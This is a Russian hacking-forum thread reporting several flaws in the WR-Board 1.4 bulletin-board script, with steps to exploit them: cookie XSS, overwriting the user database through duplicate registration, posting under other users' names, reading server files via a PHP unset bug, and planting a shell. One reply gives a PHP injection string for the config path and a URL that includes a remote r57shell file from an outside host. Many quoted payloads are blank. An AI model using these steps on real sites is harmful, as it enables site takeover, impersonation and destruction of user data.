![]() |
Море уязвимостей в WR-Board 1.4
На днях потестил доску объявлений WR-Board 1.4, представляю отчет о найденных глюках:
1. XSS Цитата:
Есть активная XSS в cookies, параметр wrboardname Цитата:
2. Регистрация пользователя с уже существующим именем. Хочу я, скажем, зарегистрировать юзера с ником Pupkin, а подлая борда говорит, что есть уже такой пользователь и обламывает процесс. Что делать? Регистрируем пользователя с ником, допустим, Vasya, идём на вкладку "Ваш профиль", открываем исходный код странички, ищем строчку Цитата:
Цитата:
Цитата:
Цитата:
Всё, теперь в базе 2 пользователя с ником Pupkin. Если нужно, можно создать ещё. :) Изменяя параметр ok от 0 до N, где N - количество пользователей, можно затереть всю базу, это будет DoS-атака... 3. Публикация сообщения от чужого имени. Собственно, почти то же, что и в пункте 2, только не требуется добавление нового пользователя в базу и, соответственно, не надо затирать уже существующих юзеров. Выбираем пункт "Добавить объявление" и приводим 2 строчки в POST-формочке к такому виду Цитата:
Цитата:
4. Просмотр произвольных файлов на сервере. Существует возможность просмотра файлов, благодаря unset-багу для PHP4 < 4.4.3, PHP5 < 5.1.4. Подробнее про unset-уязвимость можно почитать, например, здесь: http://forum.antichat.ru/thread54355.html Смотрим код в файле index.php: PHP код:
Далее, бежим на http://lukasz.pilorz.net/testy/zend_hash и по быстрому вычисляем хеши для переменной $number, они такие Цитата:
Цитата:
Получаем, содержимое файла usersdat.php: Цитата:
Цитата:
Цитата:
Цитата:
Заключение: Получение шелла Идем в админку (файл admin.php), логинимся с админским пассом из файла config.php, заходим на вкладку "Конфигурация" и в пункте "Относительный путь до папки с данными доски" прописываем Цитата:
Сохраняем конфигурацию. Всё, шелл готов к работе! ***** |
Получение шелла
Удобней так:
Код:
./data";include $_GET["inc"];//Код:
www.test.ua/board/index.php?inc=http://site.ua/r57shell.txt |
Цитата:
Цитата:
|
Цитата:
За magic_quotes_gpc - спасибо, что оно нуль-байт тоже режет не знал... |
Если кому интересно, как вариант от заливки шелла(а точнее от получения пароля админа путем прочтения файла config.php) поможет md5-хеширование пароля админа.
В файле config.php меняем $password=пароль на $password=хеш_от_пароля. Файл admin.php переделанный для работы с хешем тут -> http://rapidshare.com/files/112438256/admin.zip.html |
Нужна помощь
Цитата:
Warning: fopen(config.php) [function.fopen]: failed to open stream: Permission denied in /usr/home/------/admin.php on line 1347 Warning: flock() expects parameter 1 to be resource, boolean given in /usr/home/------/admin.php on line 1349 Warning: ftruncate(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1351 Warning: fputs(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1353 Warning: fflush(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1355 Warning: flock() expects parameter 1 to be resource, boolean given in /usr/home/------/admin.php on line 1357 Warning: fclose(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1359 Warning: Cannot modify header information - headers already sent by (output started at /usr/home/------/admin.php:1347) in /usr/home/------/admin.php on line 1365 |
Цитата:
|
я так и понял что нифига не будет...
|
| Время: 07:44 |